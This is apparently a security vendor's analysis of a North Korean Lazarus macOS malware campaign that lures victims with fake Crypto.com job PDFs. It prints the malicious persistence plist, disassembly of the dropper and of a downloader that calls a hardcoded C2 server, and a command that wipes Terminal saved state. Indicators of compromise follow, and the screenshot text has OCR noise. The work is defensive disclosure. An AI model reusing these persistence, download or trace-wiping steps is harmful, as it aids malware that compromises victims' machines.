Lazarus ‘Operation In(ter)ception’ Targets macOS Users
Dreaming of Jobs in Crypto

September 26, 2022

Back in August, researchers at ESET spotted an instance of Operation In(ter)ception using
lures for job vacancies at cryptocurrency exchange platform Coinbase to infect macOS users
with malware. In recent days, SentinelOne has seen a further variant in the same campaign
using lures for open positions at rival exchange Crypto.com. In this post, we review the
details of this ongoing campaign and publish the latest indicators of compromise.
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Coinbase Campaign Turns to Crypto.com

North-Korean linked APT threat actor Lazarus has been using lures for attractive job offers in
a number of campaigns since at least 2020, including targeting aerospace and defense
contractors in a campaign dubbed ‘Operation Dream Job'.

While those campaigns distributed Windows malware, macOS malware has been discovered
using a similar tactic. Decoy PDF documents advertising positions on crypto exchange
platform Coinbase were discovered by our friends at ESET back in August 2022, with
indications that the campaign dated back at least a year. Last week, SentinelOne observed
variants of the malware using new lures for vacancies at Crypto.com.
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https://www.sentinelone.com/blog/lazarus-operation-interception-targets-macos-users-dreaming-of-jobs-in-crypto
https://twitter.com/ESETresearch/status/1559553324998955010?s=20&t=CwFHapwL26Zf6fL4PHWcMA
https://twitter.com/ESETresearch/status/1559553324998955010?s=20&t=Rtojc63KUJ-L8L3daoNqDQ

© @ Crypto.com_Job_Opportunities_2022_confidential.pdf ® (™M  Open with Preview

@ crypto.com

Art Director - Concept Art (NFT)
SINGAPORE, SINGAPORE /MARKETING - CREATIVE /FULL-TIME: HYBRID

About Crypto.com:

Founded in 2016, Crypto.com serves more than 50 million customers and is the world's fastest
growing global cryptocurrency platform. Our visionis simple: Cryptocurrency in Every Wallet™. Built
on a foundation of security, privacy, and compliance, Crypto.com is committed to accelerating the
adoption of cryptocurrency through innovation and empowering the next generation of builders,
creators, and entrepreneurs to develop a fairer and more equitable digital ecosystem.

Decoy document advertising positions on crypto.com

First Stage and Persistence

Although it is not clear at this stage how the malware is being distributed, earlier reports
suggested that threat actors were attracting victims via targeted messaging on LinkedIn.

The first stage dropper is a Mach-O binary that is a similar template to the
safarifontsagent binary used in the Coinbase variant. The first stage creates a folder in the
user’s Library called “WifiPreference” and drops a persistence agent at
~/Library/LaunchAgents/com.wifianalyticsagent.plist, targeting an executable in the
WifiPreferences folder called wifianalyticsagent.
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https://www.welivesecurity.com/2020/06/17/operation-interception-aerospace-military-companies-cyberspies/
https://www.virustotal.com/gui/file/fb1e0719a35635aa882fe5545d154f2d4349277e6a9ff89a29f1af229e29b034

. LaunchAgents — vi com.wifianalyticsagent.plist — 105x34

<?xml version="1.0" encoding="UTF-8"7>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"
>
<plist version="1.0">
<dict>

<key>Label</key>

<string>iTunes_trush</string>

<key>0nDemand</key>

<true/>

<key>ProgramArguments</key>

<array>

<string>/Users/tritium/Library/WifiPreference/wifianalyticsagent</string>

</array>

<key>RunAtLoad</key>

<true/>

<key>KeepAlive</key>

<true/>
17 </dict>
18 </plist>

Persistence agent com.wifianalyticsagent

The LaunchAgent uses the same label as in the Coinbase variant, namely iTunes_trush,
but changes the target executable location and the agent file name. Analysis of the binary
shows that these details are simply hardcoded in the startbaemon( ) function at compile
time, and as such there are likely to be further variants extant or forthcoming.

| movaps xmmword [rsi + @x10], xmm@

| movaps xmm@, xmmword [str._Library_WifiPreference_wifianalyticsagent] ; [0x10000
3dc@:16]=-1 ; "/Library/WifiPreference/wifianalyticsagent"

| f 6 movaps xmmword [rsi], xmm@

| mov rdi, rl4 ; char *sl

| call sym.imp.strcat ; char *strcat(char *sl1, const char *s2)

| xor ebx, ebx

| mov rdi, ri3 ; const char *path

| xor esi, esi ; int mode

| call sym.imp.access ; int access(const char *path, int mode)

| cmp eax, Oxffffffff

| jne 0x100003372

| lea rsi, [0x100003d4d] ; "w+" ; const char *mode

| lea rdi, [filename] ; const char *filename

| call sym.imp.fopen ; file*fopen(const char *filename, const char *mode)
| test rax, rax

| je 0x10000336d

| mov rbx, rax

| 3d lea rdi, sym._data3 ; 0x10009ceb® ; "<?xml version=\"1.0\" encoding=\"UTF
-8\"?>\r\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertylList-1.0.dtd\">\r\n<pli
st version=\"1.0\">\r\n<dict>\r\n\t<key>Label</key>\r\n\t<string>iTunes_trush</string>\r\n\t<key>0OnDemand</key>\r\n\t<true/>
\r\n\t<key>ProgramArguments</key>\r\n\t<array>\r\n\t\t<string>"
| I be0d1 mov esi, 1

The startDaemon() function hardcodes the persistence agent details
The WifiPreference folder contains several other items, including the decoy document,
Crypto.com_Job_Opportunities 2022 confidential.pdf.

tritium@london-12 WifiPreference % ls -1
total 1384

—@ 1 tritium staff 546597 26 Sep 10:42 Crypto.com_Job_Opportunities_2022_confidential.pdf
drwxr=xr-=x 3 tritium staff 96 23 Aug 04:04 WifiAnalyticsServ.app

—rw-r—r— 1 tritium staff 1245 26 Sep 11:01 WifiCloudWidget
—rwxr—=xr-x 1 tritium staff 153760 23 Aug 04:09 wifianalyticsagent
tritium@london-12 WifiPreference % I
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The PDF is a 26 page dump of all vacancies at Crypto.com. Consistent with observations in
the earlier campaign, this PDF is created with MS Word 2016, PDF version 1.5. The
document author is listed as “UChan”.

@ General Info
0 Q a =t £

File name: Crypto.com_Job_Opportunities_
2022_confidential.pdf

Document type: PDF document

File size: 547 KB (546,597 bytes)
@ Crvptocom PDF version: 1.5

Crypto.com NFT is an invitation-only NFT marketplace where HEgs Satnl <

collectables and their non-fungible tokens. Buy, sell, discoveran Page size: 21.69 x 27.94 cm
collectables. Find out more by visiting https://crypto.com/nft

Title:

Author: UChan

About the role: Subject:

As an Art Director, your illustration craft expertise, creativity
help deliver revolutionary, trend-setting NFT projects for our us )
artist that is able to transition seamlessly between 2d illustratio| Content creator: Microsoft® Word 2016
design. You'll be the driving force for the NFT Creative productic Creation date: 7 Sep 2022 at 01:42
projects and IP development while pushing the standards of crei

PDF Producer: Microsoft® Word 2016

Modification date: 7 Sep 2022 at 01:42
As the Art Team lead, you will build and support a team of colveprarvse vwuctine anu wirve wre

vision of the project. Using your broad knowledge of art, design and illustration, you'll set clear goals for

your team, and make sure the process of delivering those goals for both your team and their

stakeholders.

Responsibilities:

The PDF decoy was created with MS Word 2016
The first stage malware opens the PDF decoy document and wipes the Terminal’s current
savedState.

open

'/Users/tritium/Library/WifiPreference/Crypto.com_Job_Opportunities_2022_confidential.

&&
rm -rf '/Users/tritium/Library/Saved Application State/com.apple.Terminal.savedState'

The second stage in the Crypto.com variant is a bare-bones application bundle named
“WifiAnalyticsServ.app”; this mirrors the same architecture seen in the Coinbase variant,
which used a second stage called “FinderFontsUpdater.app”. The application uses the
bundle identifier finder.fonts.extractor and has been in existence since at least 2021.

The main purpose of the second-stage is to extract and execute the third-stage binary,
wifianalyticsagent. This functions as a downloader from a C2 server. The Coinbase
variant used the domain concrecapital[. Jcom. In the Crypto.com sample, this has changed
to market.contradecapital[.]com.
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48b964576964. movabs rcx, 0x74656764695764 ; 'dWNidget'

48898c0500fb. mov qword [rbp + rax - 0x500], rcx

0f1005c20400. movups xmm@, xmmword [str._Library_WifiPreference_WifiCloudWidget] ; [@0x100003f45:16]=-

;. "/Library/WifiPreference/WifiCloudWidget"
F 4105e0fa. movups xmmword [rbp + rax - 0x520], xmm@

@400. movups xmm@, xmmword [@x100003f55] ; [@x100003f55:16]=-1
fofa. movups xmmword [rbp + rax - 0x510], xmm@
800. 1lea rsi, sym._g_szServerUrl ; 0x100004320 ; "https://market.contradecapital.com” ; cons

4889df mov rdi, rbx ; char *dest
e84d01 call sym.imp.strcpy ; char *strcpy(char *dest, const char *src)
4889df mov rdi, rbx
84b01 call sym.imp.strlen ; uint64_t strlen(const char *s)
66c78405e0fe. mov word [rbp + rax - 0x120], ox2f ; '/'
498b37 mov rsi, gword [ri5] ; const char *s2
4889df mov rdi, rbx ; char *s1
e82a01 call sym.imp.strcat ; char *strcat(char *sl, const char *s2)
4889df mov rdi, rbx
call sym.imp.strlen ; uint64_t strlen(const char *s)
mov dword [rbp + rax - 0x120], 0x676e702e ; '.png'
C fe mov byte [rbp + rax - 0x11c], @
; CODE XREF from aff(x)
4889df mov rdi, rbx ; int64_t argl
4c89f6 mov rsi, ri4 ; int64_t arg2
ba01 mov edx, 1 ; int64_t arg3
e84efoffff call sym DownloadFile(char*, char*, unsigned int) ; sym.DownloadFile_char__char__unsign

Hardcoded C2 in the third-stage downloader

The payload is written to the WifiPreference folder as wificloudwidget. Unfortunately, due
to the C2 being offline when we analysed the sample, we were unable to retrieve the
wifiCloudwidget payload.

The threat actors have made no effort to encrypt or obfuscate any of the binaries, possibly
indicating short-term campaigns and/or little fear of detection by their targets. The binaries
are all universal Mach-Os capable of running on either Intel or M1 Apple silicon machines
and signed with an ad hoc signature, meaning that they will pass Apple’s Gatekeeper checks
despite not being associated with a recognized developer identity.

Executable=/Users/auser/Library/WifiPreference/wifianalyticsagent
Identifier=wifianalyticsagent-55554944926af730719f3ec4839230499eb8dd8f

Format=Mach-0 universal (x86_64 arm64)

CodeDirectory v=20500 size=668 flags=0x10002(adhoc,runtime) hashes=9+7 location=embedded

Hash type=sha256 size=32

CandidateCDHash shal=c88ce@abea583f66%efdf9e6c773172719a4e116

CandidateCDHashFull shal=c88ce@abea583f669efdf9e6c773172719a4e116

CandidateCDHash sha256=8cd6abf605073af15c62749f46a51eabbde9c675

CandidateCDHashFull sha256=8cd6abf6@5073af15c62749f46a51eabbde9c675590dd47fd13c066089758e8f

Hash choices=shal,sha256
CMSDigest=63c75c5fbb5d12517c99264af3caba6829a33b1c35df13206222eb3c31376125

(MSDigestType=2

CDHash=8cd6abf605073af15c62749f46a51eabbde9c675

Signature=adhoc

Info.plist=not bound

TeamIdentifier=not set

Runtime Version=12.1.0

Sealed Resources=none

# designated => cdhash H"c88ce@abea583f669efdf9e6c773172719a4e116" or cdhash H"8cd6abf605073af15c62749f46a51eabbde9c675" or cdhash
H"b206f43474e2258a0bf955f37bd60e898f990e2e" or cdhash H"d757d3c6b7c4e809ba93e47903d58a3e848d%e65"

The wifianalyticsagent sample passes Gatekeeper with an ‘ad hoc’ signature

Staying Protected Against Lazarus Malware

SentinelOne customers are protected against the malware variants used in this campaign.
For those not currently protected by SentinelOne, security teams and administrators are
urged to review the indicators of compromise at the end of this post.
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https://assets.sentinelone.com/macos-security/enterprise-mac-security

Threat detected |
'I' Detected malicious file. Close

m R File Name: fb1e0719a35635aa882fe55...
[ NON | = Crypto.com_Job_Opportunities_2022_confidential.pdf (page 1 of 26)

v Q & \—11 z' > o ® Q

¥ Crypto.com_Job_Opportuni...

& crypto.com

Conclusion

The Lazarus (aka Nukesped) threat actor continues to target individuals involved in
cryptocurrency exchanges. This has been a long-running theme going as far back as the

the targets from users of crypto exchange platforms to their employees in what may be a
combined effort to conduct both espionage and cryptocurrency theft.

Indicators of Compromise

SHA 1 Name/Description

a57684cc460d4fc202b8a33870630414b3bbfafc  1st Stage, xxx

65b7091af6279cf0e426a7b9bdc4591679420380 Crypto.com_Job_Opportunities 2022
confidential.pdf

1f0f9020f72aa5a38a89ffd6cd000ed8a2b49edc 2nd Stage, wifiAnalyticsServ

1b32f332e7fc91252181f0626da05ae989095d71  3rd stage, wifianalyticsagent

Communications
market.contradecapital[.]Jcom

Persistence
~/Library/LaunchAgents/com.wifianalyticsagent.plist

File paths
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https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/

~/Library/wWifiPreference/WifiAnalyticsServ.app
~/Library/WifiPreference/WifiCloudwidget
~/Library/WifiPreference/wifianalyticsagent
~/Library/wWifiPreference/Crypto.com_Job_Opportunities_2022_
confidential.pdf

Labels and Bundle Identifiers

iTunes_trush
finder.fonts.extractor
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